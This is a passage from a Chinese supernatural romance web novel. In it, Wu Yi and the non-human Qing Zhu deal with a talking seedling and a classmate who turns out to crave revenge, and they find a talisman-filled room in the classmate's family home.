乌宜怔了一下,没想到他会把这句话听进去,想了想又只好无理取闹。 “我喜欢跟你待在一起呀,但是你不能限制我和其他人交友吧,这样多不好,而且我每次去找谁都会提前跟你说,结果你还是不高兴,你真是没有心。” 他很想要教会卿烛一些正常合理的为人处事,可卿烛其他地方都学得很好,只有这一点,永远都学不会。 难不成是故意的吗? 他想着,忽然感觉到热意靠近,身体不自觉被逼进了椅背,他的身体陷进去,莫名感受到了压迫感。 原本以为卿烛又要亲他,正涨红着脸想要找借口拒绝,放在膝盖上的手却忽然被捉住了。 他还未反应过来,卿烛忽然扣着他的手抚上自己的胸膛。 他脸色微变,抿着嘴唇有一点想笑,又故意露出点儿被逼无奈般的表情,“是你主动让我摸的,可别找我要什么交换。” 卿烛什么也没说,只是维持着这个姿势,眸光冷冽地看着他。 时间一分一秒过去,乌宜的心情从最开始的激动到茫然,再变成错愕,他身体微微僵住,贴着火热胸膛的手指也不由得微蜷。 有哪里不对。 他下意识将手挪向另一侧。 他知道有人的心脏是长在另一边的,这种情况很罕见,可是卿烛的存在本身就是一个奇迹,还有什么不可能呢? 可是没有,另一面的胸膛中也没有他熟悉的那种跳动感,平静到感知不了任何生命的存在痕迹。 “为什么?”乌宜面露困惑,他是第一次意识到卿烛的身体有残缺,立马猜到了一个可能性,“你是故意这样做的吗?” 心脏是人类的软肋,只要出了问题就很难活下去,卿烛一定是为了保证身体的强大,所以故意做了没有心脏的身体。 “昏睡前,我应该将身体与能力分开,托付给了他们,为了保持身体残存的力量不威胁到任何人,我将心脏剖出,埋在了一个地方。” 乌宜瞳孔微缩,良久都说不出一句话来。 他很困难地张张嘴,小声问:“在那里?” 卿烛只是摇摇头。 他目前所获得的记忆中并未提及这件事。 乌宜的手轻轻摸上去,有点难过,“没关系,我们慢慢找嘛,不过你的胆子真的好大,连自己的心都敢剖掉,就不怕毁掉这具身体吗?” 他可没有忘记,卿烛说过这是他耗了几百年才打造成的身体,是很金贵的。 “我更怕犯下无法挽回的罪。” “……” 这是乌宜第一次从他口中听见怕这个字眼。 卿烛垂下眸,说:“我学什么都很快,一生中只有两件事不受自己控制,一是我自己,二是你。” 乌宜心跳飞快,不自觉屏住呼吸。 “我知道你在担心什么,怀疑也好,我永远不会害你,这点应该不需要我多解释。” 乌宜对上这样认真的他,总是感到没有办法,只能乖乖点头,“我知道,你对我一直都很好的,你的话我也有认真在听,如果你真的不喜欢我和别人太亲近,以后我保持距离就是了,但是你真的不能干涉我交友,你知道我小时候就没有朋友的,现在好不容易有人愿意跟我玩了,我不想让他们伤心。” 他一旦妥协,就显得很乖,总是让人没有办法拒绝他的一切要求。 卿烛总是那个例外,可这次凝视他良久,却也是点了头。 “好。” 回到家里,乌宜始终想着在车里谈论的那些话题,越想心里面句越后怕,在睡觉的时候更要卿烛抱紧他,可即便这样似乎也觉得不够。 他贴过去,整个人埋进卿烛的怀里,声音有点发颤。 “你真的不会死吧?没有心脏会影响什么吗?” “不会。” 乌宜没办法松口气,抬起头凑过去,热烘烘的呼吸轻盈带着点儿急促。 “卿卿,你亲亲我。” 卿烛垂首,很轻的吻落在他的额头眼角,最后顺着鼻尖滑到柔软的唇上,辗转片刻,轻吮含咬,并不粗鲁。 乌宜乖乖地配合他。 半晌分开,卿烛看着他颤抖的眼睫,又凑过去吻了吻。 “不会消失,我保证。” 第47章 一个月后, 云京正式进入春天,种满花的院子变得热闹无比。 乌宜开始学习插花,每天会打理好一只花瓶放在客厅, 起初并不是那么好看,但等他抱着自己的花材去找了岑悦,便学习到了不少,往后家里每天都是漂漂亮亮的。 而这天插完花,他跑上楼准备给露台上植物浇水, 为了保持仪式感,他买了一只很精致的洒水壶,复古纯金色, 花洒头像是一朵喇叭花, 但材质不沉,轻盈又漂亮。 刚将水装进洒水壶, 去花盆边上逐个浇水,隐约间却听见了不知哪里传来的声音。 他好奇地左右看看, 却一个人都没看见。 正想着去扶栏往楼下张望,那声音却又尖利地炸开。 “啊啊啊啊啊啊我要被淹死了!” 他猛地回过神来,发现自己刚才一直没将水壶放正, 有两只花盆里已经灌满了水。 连忙撇下水壶, 他有些不知所措,只好将花盆抬起来, 让水顺着底部的小孔流下去。 “偶尔浇透一次应该没关系吧。” “当然有关系了,我都快死了!” 那声音又出现了。 乌宜被吓了一跳,看见另一只花盆中是卿烛之前带回来的盆栽小苗,猛地反应过来。 “是你在说话吗?” “是啊。” 乌宜大惊失色,有点不敢在这个地方多待, 转身便飞奔下楼。 “诶,你跑什么啊?” “卿卿——” 乌宜狂奔下楼,到一楼拐角就看见了蹙紧眉头要上来的卿烛,猛地扑进他怀里。 他从楼梯上跳下去,后坐力却丝毫没有影响到卿烛,他稳稳站在原地接住怀里的人,还抬手摸摸他的背。 “怎么了?” “那个草,他好像会说话了。”乌宜抱着他的脖子,撅着嘴有点委屈,“好吓人啊。” 明明最开始听说的时候还觉得很有趣,现在就已经开始嫌弃上了。 卿烛倒是淡定,伸手拖着他的臀,他便也很习惯地盘住了卿烛的腰,让他抱着自己。 上了楼,那小苗原本还在喊乌宜回去,等察觉到了不知名的威压气息,顿时就息了声。 乌宜扭头去看那小苗,此刻脑袋上顶着水珠,不同于刚来到这里时的萎靡耷拉,变得昂扬精神不少,只是此刻低垂着脑袋,似乎不敢抬头。 “它还故意吓我。” 听见乌宜告状,小苗连忙解释:“冤枉啊,我只是不想被浇死而已。” 卿烛看了乌宜一眼。 乌宜自觉心虚,拍拍卿烛示意他放自己下来,落地以后才俯身凑过去看那小盆栽。 “你怎么忽然就会说话了啊?” “我开灵智了呀。”小家伙很开心地说。 他一共两片叶子,此时开合开合像是在拍手,显得很可爱。 乌宜觉得新奇,忍不住伸手拨弄了一下它的叶子,“你就这两片叶子吗?以后会不会多长一点啊。” “当然不行了。”它说着,叶子微微抬起,好像是在朝着卿烛的方向看过去,半天又委委屈屈地说:“卿先生只给我拔了两根,我以后再也长不出来了。” 乌宜不禁有些心疼他,一时间也顾不上刚才被他吓到的事情了,安慰道:“没关系的,你这样也很可爱。” “真的吗?” 叶子抖了抖,显得精神抖擞。 乌宜认真地点点头,扭头去看身后的卿烛,对方只是看着他,什么也没说,似乎对于小苗会说话这件事并不感到奇怪。 “你有没有名字啊?没有的话我给你起一个吧。” “嗯,好呀。” “叫你苗苗好不好?” “可以呀,这还是第一次有人给我起名字诶。”苗苗的叶子扑腾地更加欢快了。 乌宜也很高兴,又和他聊了几句,才知道苗苗是在一颗很高大的树上摘下的叶子,算是那树的一部分,但拥有属于自己的灵智,可以随时同那边进行沟通。 猜到这就是卿烛摘下的它的原因,乌宜便也没有多问,察觉到它似乎有些累了,便和卿烛一同下楼离开。 “你说苗苗以后可以变成人?” 卿烛靠在躺椅上翻看书本,垂眸道:“努力的话,有机会。” “不会要几百年吧?”乌宜这次留了个心眼,没有轻易相信他的话。 卿烛顿了顿,问:“你很期待?” “当然了,那证明我们家又能多一个人了,我又能多一个朋友,对它自己也是好事。” 闻言,卿烛停顿了几秒,良久才认真合上书,道:“我们家还能插进别人?” “嗯?” 乌宜原本还在拨弄自己早上刚插的花,有点没听懂他的话。 可卿烛却拧着眉,显然不是很高兴。 “我们家只有你和我,不会有别人。” 乌宜反应过来,一想似乎也是这个道理,便表示了赞成和支持。 “你说得对,那苗苗就是我们的朋友,还是知根知底的那种,这次你总算能放心了吧。” 卿烛自然不会有异议。 可他答应后,又轮到乌宜觉得不对了。 他怎么觉得苗苗就是卿烛特意搬来的救兵呢?专门用来监视他的那种- 没几天,苗苗就被卿烛做成了一个小挂件,它的根很细,卿烛给他准备了一个很小的花瓶,塞了点泥土便将它埋进去,这样就可以让乌宜随身携带。 挂在钥匙扣上丝毫不显得突兀,只是看起来根本不像是新鲜的小绿苗。 开春以后乌宜出门的时间变多,虽然对于外面格外浓烈的花粉不那么喜欢,但这个天气可比冬天好多了。 这些日子秦东临在家有了新发现,卿烛便时常去他家里坐着,偶尔乌宜也会跟着去,但多数时间还是喜欢自己待着。 自从那天因为顾掠影和卿烛发生了争吵后,两人的交集变少了一些,顾掠影有一段时间没去学校。 在学校食堂再见到,乌宜用筷子挑着晶莹剔透的粉小口嗦,看见一个人站在不远处,忽然怔了怔。 正想要跟对方打招呼,却见顾掠影冲他点点头,然后端着餐盘转身走了。 是他做的太明显吗? 乌宜心中有些许不安,他感觉自己好像对顾掠影有点太坏了。 想了想,他两三口吃完午饭,跟朋友们道了别,出去买了两杯奶茶,回来的时候正好碰见顾掠影往外走。 周围的人都成双成对,他走在中间显得格外落寞,看起来要比前段时间还瘦削不少。 乌宜放慢脚步跑过去,将其中一杯奶茶递到了他手里。 “好久不见啊,你前段时间去干什么了?” 顾掠影笑笑:“去旅游了,跟家里人一起。” “那挺好的啊,去了哪里?” 顾掠影说了一个地方,是有名的海岛。 乌宜瞬间来了精神,“我知道那里,我也很想去的但是一直没时间,我听说那边风景很美。” “是挺好看的,但是我没看多久。”顾掠影显得有些落寞,“到了第二天,我姥爷犯了风湿说膝盖疼,我照顾了他一晚上,第二天就回去了,他们说得有个人陪着姥爷一起回去,我知道自己留在那里也是多余,所以我就先回来了,前段时间一直陪着姥爷,今天才来学校。” 乌宜脸色一沉,“怎么又这样啊……” 顾掠影道:“姥爷他对我挺好的,我也不想让他失望。” “我看他们就是故意商量好的。” 乌宜才不相信,越是想,心里就越无语,转头看向顾掠影,忍不住想要再警醒他什么,又觉得自己已经说的够多了。 缓缓叹了口气,这个话题还是没有继续进行下去。 这天准备分别,手腕上忽然窜起凉意,乌宜知道是卿烛回来了,便摸了摸手腕。 “我先走了,回头有空约。” “好,路上小心。” 顾掠影的笑容特别淡,安安静静站在原地看着他离开,乌宜坐上车,看着他逐渐渺小的身影,心里忽然泛起一点惆怅。 唉。 他叹口气,脑海中便响起了卿烛冷淡的声音。 “念力满了。“ 一怔,他几乎没反应过来具体意思。 “你是说顾掠影吗?” 司机听见他过分激动的声音,下意识往后视镜看了一眼,然后很快收回了目光。 乌宜有点不好意思,只能假装自己在打电话,默默将隔板升上去。 得到了卿烛肯定的回答,他立马高兴起来,“那我们是不是可以去帮他了?” “你真要去?”卿烛的声音有些复杂。 乌宜顿了一下,小声问:“你不会不愿意吧,可是顾掠影没有做过什么坏事。” 这段时间相处下来,他觉得顾掠影这个人还不错,虽然稍微有一点胆小,喜欢躲避矛盾,但是人品还是不错的。 这样的人难道都不能得到助力吗? 卿烛没有回应他的疑问,只道:“你想就去。” “好吧,那过两天找个机会去。”乌宜想了想,“顾家有点难进去吧,要不趁着他在图书馆睡着的时候去看看。” 不过顾掠影学习很认真,好像从来没在图书馆和课上睡过觉,还是个好好学生。 他不想思考太多,反正这些问题卿烛都能解决,他索性便继续打听起卿烛找寻其他仆人的进度。 “没线索。” 卿烛这些天和秦东临聊了许多,但秦东临的确没再见过那几人,对于方位也只有大致的了解。 现如今只剩下三位,进度过半,乌宜倒是不觉得困难,找到只是时间问题,但好在他们多的是时间。 “我觉得最重要的是先找到你的心脏。” 回到家里,乌宜将毛巾披在湿淋淋的头上,转头去瞧立在窗前的卿烛。 “要是有人不小心找到了你的心脏,对它做了什么,你的身体岂不是也会因此收到损伤。” 卿烛道:“心脏被寄存在单独的位置,我暂时还没想起来。” “那怎么办?” 卿烛挑了挑下巴,示意他去看被放在桌上的迷你小盆栽,那两颗叶子微微下垂,只有非常轻微的起伏,看起来像是睡着了。 乌宜也凑过去看看,发尾的水珠滴答掉落进小花盆里,只一滴就将所有泥土都溢湿了。 “它知道吗?” 卿烛嗯了一声,“还得再养养。” 乌宜不禁好奇:“你怎么不问本体呢?” “在沉睡,我和它的灵识对话,并不算顺利,只能把它折回来养着。” “好吧,那我以后要多带它出去吸收一点日月精华。” 乌宜捧着那小盆栽趴在床上,身后脚步声逐渐贴近,他脑袋上的毛巾被摘走,呼呼热风吹在头上,修长有力的手指轻轻捋过发丝,替他吹干头发。 他眯着眼睛享受着,等头发干差不多了,就把脸埋进枕头里。 风声停下,卿烛收好吹风机,他忽然转头去看身后的人。 “卿卿,你说……我有这么多称呼喊你,你要怎么喊我呢?” 这个问题是他刚刚才想到的,他发现卿烛从来都是叫他的名字,根本没有特殊的称呼。 “一定要叫?”这个问题涉及到了卿烛的知识盲区。 乌宜正经地点点头:“当然了,不然以后在外人面前,你怎么称呼我呢?就算你跟我说话,我都不知道你是在找我啊。” 卿烛看了他两秒,也不知道信没信。 “那叫你弟弟。” “……” 乌宜差点被他给气到,“正在追求的弟弟是吧?那我以后不叫你卿卿了,我也只叫你的大名。” 怎么搞得他这么亲昵,卿烛却对他这么冷淡呢? 卿烛顿了顿,半天才道:“你说。” 乌宜掰着手指头算:“小宜肯定不行,岑阿姨和赵易他们都叫我小宜,你叫这个太生分了,反正你都在追求我,要不就叫我……” 他说到这忽然有点羞赧,最后那两个字声音小到几乎听不清。 卿烛微蹙眉头,问:“什么?” 乌宜瞪他一眼,脸颊绯红,“叫我宝贝。” 网上都是这样说的,他一直觉得这个称呼很可爱,又很亲昵。 卿烛笑了笑,重复了一遍:“宝贝?” 他似乎不太懂这个词的含义,说的一本正经,反而缺少了乌宜想要的那种感觉。 但是听完还是莫名不好意思,他嗯嗯两声,又把脸埋到枕头里,瓮声瓮气地说:“以后就可以这样叫我。” “好。” 卿烛答应了- 乌宜精心给傅流晔挑选了一只金色小龙玩偶,那并不是他从娃娃机里钓的,而是早两年路过精品店的时候,在橱窗外一眼相中的。 那个时候他很希望卿烛也可以变成这样霸气威武的龙,但等卿烛真的变了一次,还比这个玩偶以及图片上的都要更惟妙惟肖,他就做了一晚上的噩梦,第二天又央求卿烛变回来。 那时候卿烛就开始很喜欢逗他了,硬是把他逗哭了才变回原本方便游走的小蛇模样。 只是他眼泪始终不止,又接着这个机会逼卿烛变成一直黑色的毛茸茸小猫咪,抱着他睡了一晚上才消气。 回想起往事,乌宜愈发确定自己要把这只小龙送人,果断将其塞进了背包里。准备随时送出去。 接连几天,他都没在学校找到机会,顾掠影只要在学校就是精神抖擞的模样,尤其是见了他,视线几乎很少挪开,连走神都很少有,就更别说睡着了。 “看来只能去他家里了。” 下着楼,他正跟卿烛吐槽,身边的人忽然拍了拍他的肩膀。 “明天我不能给你带早餐了。” “嗯?”乌宜回过神。 顾掠影面上带着些歉意,“我今晚得去我姥爷那里住,他们住在城郊那边,距离学校有点远。” 乌宜心里顿时激动起来,面上仍旧保持着淡定:“没事,具体是在哪里啊?要不我给你带吧。” 顾掠影毫无防备,直接说了具体的位置,就连楼栋都告诉了他。 分别后,乌宜差点激动到跃起来。 “太好了!今晚就可以去了。” 卿烛对此毫无反应,他心里始终不安,但是没有具体的证据阻止乌宜,他便也只能任由对方去做。 总之最后都是他兜底。 乌宜回到家里收拾,路上又收到了一个好消息,李青泉在山上待了这么一段时间终于能下来了。 “我跟你说,不只是我,我师傅这次接了个大单,所以明早他也要跟着我一起,只可惜他那位置不在云京,是在一个比较偏的城市。” 乌宜心情随着他的即将到来变得更加雀跃,连忙嘱咐他抵达云京以后直接来自己家里。 “正好把这件操心事情解决完,我就可以去和李青泉玩了,他这次接了很多有意思的单子,还有驱鬼哦。” 卿烛正在翻冰箱里的食材准备做饭,闻言扫他一眼:“你不是怕鬼?” 乌宜一怔,忽然压低声音:“你不是说这个世界上没有鬼吗?” 那是他小时候晚上害怕不敢睡觉的时候,卿烛哄他时候说的。 而此时卿烛顿了两秒,忽然很轻地笑了一下:“你真信啊?” “!!!” 乌宜被他吓到,连忙走过去贴着他,警惕地左看右看。 “你骗我!” 卿烛只是笑笑,伸手将一块牛排取出,“开玩笑。” 他去厨房开始做晚饭,乌宜却有点害怕了,屁颠屁颠跟在他后面。 “到底真的假的,你再这样我生气了!” “……” 即便最后卿烛澄清了从前为了哄他说的谎言,乌宜心里却还是止不住地生气,他这会儿坐在车上,望着外面黑漆漆的地方,总忍不住去想象有人正在上面盯着自己。 “不想理你了。” 卿烛今天没用人身,环在他手腕上,此时看着他开车,还是老一句哄人的话:“我在,不让它们近身就是。” “那你也不能骗我。”乌宜振振有词,怎么都能找到理,“如果我小时候就知道的话,现在说不定已经脱敏了,你的隐瞒让我变得胆小。” 卿烛:“你不能从现在开始脱敏?” “所以你耽误了我十年的时间啊,那可是我最单纯的时期。” “……” 非人之物在讨论这种话题的时候总是缺少了一些思路。 月黑风高,乌宜将车停下顾掠影姥爷家附近的KTV长街门口,顺着小路朝着那方向走去,他打着哈欠不禁犯困,看看左右总觉得渗人。 “一会你得跟着我哦。” “嗯。” 到了楼下,上面的灯都已经灭了,乌宜看了看距离觉得还好,便手脚并用爬上了院子里的大树,顺着粗壮的树干爬到了二楼露台。 “你说顾掠影会住在哪里呢?” 卿烛扫了一眼四周,凭借对人类有限的了解,判断:“老人腿脚不便通常在一层,二楼留给子女,他们家二层一个两个房间,顾掠影应该在三楼。” 乌宜压根没怀疑,抬头看了看,发现三楼露台近在咫尺,便冲他招招手。 “我从这里上去。” 卿烛这次怔了一秒才幻化成黑雾扯他上露台,乌宜坐上去,有点奇怪:“你刚才是在走神吗?” 多罕见。 “二层有一股奇怪的味道。” 乌宜疑惑:“要去看看吗?” 但是他都已经上来了。 卿烛说:“先解决完这件事再说。” “好吧,那我先进去。” 乌宜坐在窗台上,狂风掀起他垂落的斗篷,兜帽连带着里面的发丝都微微摇曳,他将半掩的窗子推开,顺利地翻进了窗台。 屋子里很暖,他担心冷风会吹醒顾掠影,便将窗户又重新掩上,踩着靴子小心翼翼走到了床边。 那里微微鼓起,他想笑顾掠影在里面熟睡,有些想笑,将斗篷口袋里的那只小龙取出来,他轻轻掀开被子正要放进去,却发现里面的东西有点奇怪。 很肥很大,被子一掀就散开。 将被子完全掀开,月光映出只有两个枕头的大床,他有点被吓到,下意识后退两步。 难道是走错了?但是有谁会这样恶作剧,故意用来吓人吗? “卿卿,这层还有别的房间吗?” 他下意识开口,却没有得到任何回复。 扭头一看,窗台上没有黑影飘散,他手腕上的玉镯也沾染了淡淡的体温,不似正常时那样微凉。 “卿卿?” 乌宜独自一人站在漆黑的房间里,又止不住想起世界上有鬼的这件事,连忙朝着窗外走去,想要顺着来时的路离开。 可在他迈出一步的瞬间,耳后忽然传来了某种诡异的黏腻的呼吸,就好像有某种阴冷的冷血动物早在黑暗中窥视了他许久。 浑身汗毛乍起,他僵硬着身体回头,还未来得及看清楚,便被一道高大的身影猛然扑住。 他几乎想要尖叫,可冰冷的手却猛地捂住他的口鼻,那人的力道大到几乎将他揉碎,呼吸随着过分的激动和亢奋而急促。 “是你、竟然真的是你!” 乌宜正剧烈挣扎,听出这是顾掠影的声音,整个人都僵住了。 他不可置信,猛地推距起面前人,挣扎间兜帽落下,发丝簌簌散落下来,精致昳丽的一张脸被月光映出惊慌无措。 房间的灯忽然亮了起来,他被逼得闭上眼睛,良久缓和过来睁开,看见了单膝跪在他面前,满脸都是激动的顾掠影。 他看起来和平时完全不同,那过分的狂热几乎让他显得癫狂,让乌宜有些害怕。 他下意识向后退去,顾掠影却颤抖着声音道:“别怕,我没想对你做什么,我只是有点太激动了。” 乌宜无措地看着他,兜帽掉在肩上,蓝色的瞳孔单纯中散发着警惕与害怕。 “你……”乌宜呼吸了几次,才找回自己的声音,“你是故意的?” 顾掠影捉住他的手臂,像是生怕他跑了,动作大到让他骨头发疼,“是,我早就猜到了你会来,但是亲眼见到了,我才能确定这一点。” 他唇角扯开,露出了乌宜从来没有见到过的灿烂笑容,几乎显得狰狞。 “你知道我有多激动吗?” 乌宜摇摇头,想要让他放开自己,可却被他困在床尾,没办法动弹。 他只能曲起双腿将顾掠影阻隔在外面,看着对方单膝跪在地上,虔诚而又热烈地看着他。 “我听说,你能帮人完成所有的心愿,你可不可以帮帮我?” 乌宜觉得他像是疯了,“我没有这种能力。” “你不是神吗?”顾掠影笑了笑,似乎觉得他是在骗自己,“好了乌宜,我可是很了解你,那天见到了你和傅流晔还有盛莲安在一起,我就确定了你是他们说的那个人,那些差点毁了一生的人,永远和你有关系,他们为什么对你这么好,我不是不知道原因。” 乌宜没想到他居然查了这么多东西,只觉得背后凉意阵阵。 面前的人已经完全变得陌生,他这时候才发现,自己好像完全没有了解过顾掠影。 “你这么厉害,就帮帮我好不好?我也会给你很多你想要的东西。”顾掠影的声音几乎发颤,是过分激动的缘故。 乌宜没办法召唤出卿烛,只好拖延时间:“你想要什么?” “我想要他们都去死!”顾掠影眸中射出眸中诡异的狂热,“我想要那些欺负我的人,都死无葬身之地。” 乌宜错愕,“你说的是你父母和顾风顺吗?” “不,还有我养父母,还有这座屋子里的所有人,不仅如此,那些瞧不起我的,偷偷嘲笑我的,我一个都不希望活着!” 乌宜震惊,只觉得他可怕。 “你可以帮我做到的,对吗?”顾掠影凑近,握住他冰冷打颤的手,“我知道你很厉害,我看了那个词条里所有的帖子,没有一个是在撒谎,你帮了他们这么多,也可以为我做到的。” 乌宜困难地开口:“可你之前不是说过,你姥爷对你很好吗?为什么你连他都要……” “他?”顾掠影嗤笑一声,“他对谁都是这样,可是我永远忘不了他第一次见到我时,露出的那种冷漠眼神,就好像我是从下水沟里跑出来的老鼠,他对我好,只是因为血缘,他这种人就只在乎这种东西。” 乌宜搞不明白他的逻辑:“可他之后对你的那些好也是真真切切的,你不能要求人太完美。” “我管不了这么多。”顾掠影忽然暴怒,脖颈青筋迸现,整个人显得偏激而又狰狞,“你替我做就是了。” 乌宜摇摇头:“我做不到,也不会替你做,顾掠影,我觉得你应该去看看心理医生。” “你什么意思?” 顾掠影忽然伸手扣住他的下巴,乌宜伸手去掰他的手,眉心不自觉蹙紧。 “你别动我。” “是了,你现在也觉得我恶心了,你们都是一样的,没什么分别!你不帮我,我也有的是办法让你——” 顾掠影正猛地要扑上来,那笼罩在乌宜身上的金色斗篷忽然泛起了金色暗光,无数的扭曲条纹宛若符咒般骤然亮起。 第48章 乌宜还未反应过来, 便听见顾掠影发出一声嘶吼,整个人狼狈地倒在地上,两只手被烫到发红, 毫无规则的条纹烙印在他的掌心,可怖无比。 “这是什么鬼东西?” 暗纹逐渐汇聚,自斗篷上剥离,缓缓漂浮在空气中,生成一团庞大的黑色雾气, 在房间半空中铺开,简直像是鬼魅一般。 顾掠影看见这一幕,恐惧的同时却又滋生出一股强烈的激动。 “这就是你的能力吗?” 他猜的果然没错, 只是凭借乌宜自己的力量, 肯定做不成这么多事情,原来他的手上还有这么强的存在, 那完成他的夙愿,岂不是轻轻松松? 甚至于他如果想要更多, 也完全是轻轻松松。 可还未等他挣扎着站起来去触摸那团黑雾,那浓郁的雾气便猛地汇聚朝他涌来,顾掠影惊惧地闭上眼睛, 身体骤然失重腾空而起。 那只触碰过乌宜的手被某种利器狠狠钉穿, 让他发出了撕心裂肺的吼叫。 他猛地睁开眼睛,发现自己居然悬空在天花板上, 而那只手被漆黑的匕首扎穿在墙上,几乎融为一体。 无论怎么挣扎都没法下去,他一眼看见乌宜从地上站起,正惊魂未定地仰头看着他,似乎也被吓到了。 疯了, 那到底是什么东西? “乌宜,你快让那东西住手啊!我们不是朋友吗?难道你要杀了我?” 乌宜抬起头看着他,眼神中是显而易见的哀伤,可此时的顾掠影什么也顾不上,知道自己无法撼动那诡异东西,只能拼命跟乌宜求情。 可看见对方无动于衷,他心中又不由得升起浓烈的怨恨。 “为什么你们都是这样啊?你们怎么都这么虚伪,口口声声说着是朋友,却连这么一点小忙都不愿意帮!嘴里说的话没一句是真的。” 乌宜被他狰狞憎恨的眼神吓得怔了两秒,良久才从地上起来,眼中的迷茫和忧伤逐渐消失。 “你要做的是杀人,这种事情谁会帮助你?你都不思考一下自己的问题吗?” 想到这段时间两人的相处,他心里有些难受,总觉得顾掠影不应该是现在这样丑恶,他忍不住回想和对方聊天说笑时,那张英俊面容上浮现出的耐心和阳光。 他以为那是顾掠影真实的一面,结果只是伪装而已。 “从第一次见面开始,你就故意在设局吧。”乌宜想到这里,忍不住轻轻叹了一口气。 他觉得自己有一点傻,可是如果重来一次的话,他应该还是会选择帮助顾掠影,他没办法无视这样一个可怜的人。 顾掠影冷笑:“你以为我都是在作假吗?他们对我本来就不好,我和你说的那些顶多是夸大了一些,可我从来没骗过你,他们全都瞧不起我,从前我糟了那么多罪,那个鸠占鹊巢的冒牌货却过着比我更鲜亮的生活,我又怎么能不恨。” 乌宜下意识说:“那也罪不至死吧,你姥爷对你这么好,你还是没有要对他留情,顾掠影……你的心太狠了。” 顾掠影忍不住哈哈大笑起来,下一瞬看见那黑雾幻化成人形,血一般的殷红眼眸冷冷淡淡扫了他一眼,正是他最厌恶的那种,冰冷漠然不在意的眼神,就好像他根本没有一丝价值。 “你又是谁?你说我对你不诚实,我们认识这么久了,你身边这些秘密又什么时候告诉过我?如果不是我今天故意把你引诱过来,我现在估计还傻乎乎蒙在鼓里,以为你就是个普通的学生吧?” 乌宜听见这句,呼吸有些急促起来,不由得也动了怒气。 “我怎么没有提醒过你了?卿卿从来不让我提醒别人,我那次和你说了这么多,你难道没有听明白吗?”他对于顾掠影的伪装是愤怒的,可他更加接受不了对方践踏自己的真心,眼眶止不住泛起了酸涩。 “我一直都把你当朋友的。” 他不相信顾掠影感受不出来。 “不用和他多说。”卿烛伸手抚住他的脸,微凉的指腹轻蹭过那眼底的水色。 乌宜吸吸鼻子,还是没有哭出来。 “放我下来,你们——” 顾掠影的声音戛然而止,乌宜抬头,看见他的嘴上封了一层黑雾,整张脸都憋红了。 卿烛声音冰冷:“谁准你再对他大呼小叫。” 顾掠影再无法发出任何声音,只是恶狠狠地盯着他们,仿佛急切要说些什么。 乌宜没有抬头,牵住卿烛的手,有一点不知道该怎么收场:“那现在怎么办?” “不用管。”卿烛很淡定。 他面对什么都有计策,乌宜也被他简单的一句话安抚好,被带着出了门。 “十秒钟。” 卿烛让他站在门外,并未将门关上,乌宜也很乖地没有回头,隐约间听见房间里传来重物落地的声音,有风声刮过,顺着长廊流向四面的门。 外面很黑,他却没有感觉害怕,仿佛只是一眨眼的功夫,卿烛便回到了他的身边,捉住了他冰冷的手。 “冷?” “有一点点。”乌宜说完,就没忍住打了个喷嚏。 声音在空荡的长廊传开,顿时让他噤若寒蝉,“不会被听见吧?” “无妨。”卿烛揽过他的后背,竟然是要带着他往楼下走。 乌宜见状有点慌乱:“我们不走窗户下去吗?走廊那边也有。” “去二楼看看。”卿烛顿了一下,似乎察觉到他有些害怕,便又将他往怀中捞了捞,想起来解释,“刚才忽然被二层的东西吸引过去。” 乌宜这才迟钝想起来他刚才消失的事情,一边跟着下楼,一边又开始算账:“我说你怎么不见了,差点吓死我了。” 他本来也没多警惕的,毕竟在二十分钟之前,他还傻傻觉得自己和顾掠影是好朋友,只要将他怀里揣着的这只玩偶送到对方的怀中,就可以让顾掠影之后也幸福一些。 可没想到,他的念力竟然来源于残酷的邪恶。 也难怪卿烛之前会说他这个人不太对劲。 乌宜心情复杂,跟着卿烛到了二层尽头的房间,莫名也感受到了几分不适。 他没有说话,看着卿烛将门打开,那门像是被反锁了,黑雾窜入后直接将锁从内部震开,大门轰然开启,两人才发现里面竟然还亮着灯。 一左一右,是很古老的那种油灯,灯芯是刚换过的,映亮了不大的室内。 乌宜看清楚里面的画面,想要移开目光却已经来不及了。 空荡的屋子里横七竖八拉着数百条红线,天花板和地面上,以及红线交错的位置都悬挂着黄纸红字的符咒,门开后风窜入,符纸簌簌吹动,显得诡异而悚然。 好重的阴气。 乌宜本能地屏住呼吸,很快又担忧地望向卿烛,见他冷白的面颊被摇曳的灯影映亮,不由得问:“卿卿,你没有不舒服吧?” 卿烛缓慢地摇摇头,他抬起手,浓重的黑雾汇聚成无法窥视内部的厚度,轰然朝着屋内震去。 红线啪啪断裂的同时,整栋屋子里忽然炸开了尖锐刺耳的警报声。 乌宜的心脏差点跳出来,隐约间听见楼下已经传出开门的声音,他还未来得及开口询问,卿烛便猛然消失在了面前,直直扎入了屋内那浓重的黑烟之中。 听着脚步声逐渐逼近,乌宜转头就要进房间,余光中,楼梯口的灯亮起,已经显出几个人落在地上的黑影,他正往里面走一步,一阵风猛然刮来。 他被揽入一双有力的怀抱当中,下意识抬手抱住了对方的脖颈,耳边传来玻璃碎裂的声响,他紧紧闭上眼睛,将脸埋入了那微凉的雾气之中。 狂风簌簌,他的身体仿佛漂浮在空中,即便是被紧紧搂住飞逝,也有种强烈的失重感萦绕着。 睁开眼,那栋完全亮起的房子已经变得很遥远,在夜空笼罩下变成一个小光点。 乌宜朝着下面看了一眼,发现他们正在以极快的速度往家的方向飞。 “不会被看见吧?” 他的声音很小,却还是被卿烛准确无误地捕捉到了。 “不会。” 缓缓地,黑雾完全将乌宜的身体包裹,让他似乎也变成了夜空中一团流逝的乌云。 他情不自禁地伸出手,透过那雾气摸了摸。 “好神奇啊。” 从前在老家的时候,卿烛偶尔会这样偷偷带他出去玩,可是来到城市读书以后,即便是夜晚,高楼大厦也都灯火通明,他们已经很久没有这样做过。 周围很冷,等到家的时候,乌宜的脸和耳朵都有点冻僵了,可整个人心情却还很亢奋。 在顾家发生的那些事情给他带来的心情影响已经微乎其微,他回到温暖的室内,身体还有点打颤,脸上的笑却怎么也压不住。 “等到夏天的时候,我们再这样玩。” 卿烛上了人身,看见他通红的脸颊,只得伸手给他捂着,将那冰冷的耳朵和侧颊都捂暖。 “随你开心。” “到时候没那么冷。”乌宜想了一下,“其实这样也很方便的,就是你有一点辛苦,要是能力全部找回来,会不会更轻松一点?” 卿烛看他雀跃的模样,也没有扫兴:“能带着你直接去找沈跃。” “真的假的?” 虽然知道不可能真的这样做,但乌宜还是有点高兴,在屋子里蹦了蹦,止不住期待。 催着他去洗漱完,乌宜把自己裹进被子里,总算有空抓住卿烛询问顾家的事情。 “他们家二层的是什么东西啊?” 卿烛将一只很小的耳坠丢在被子上,金丝镶嵌的红宝石,复古而又繁华,看起来就价值不菲。 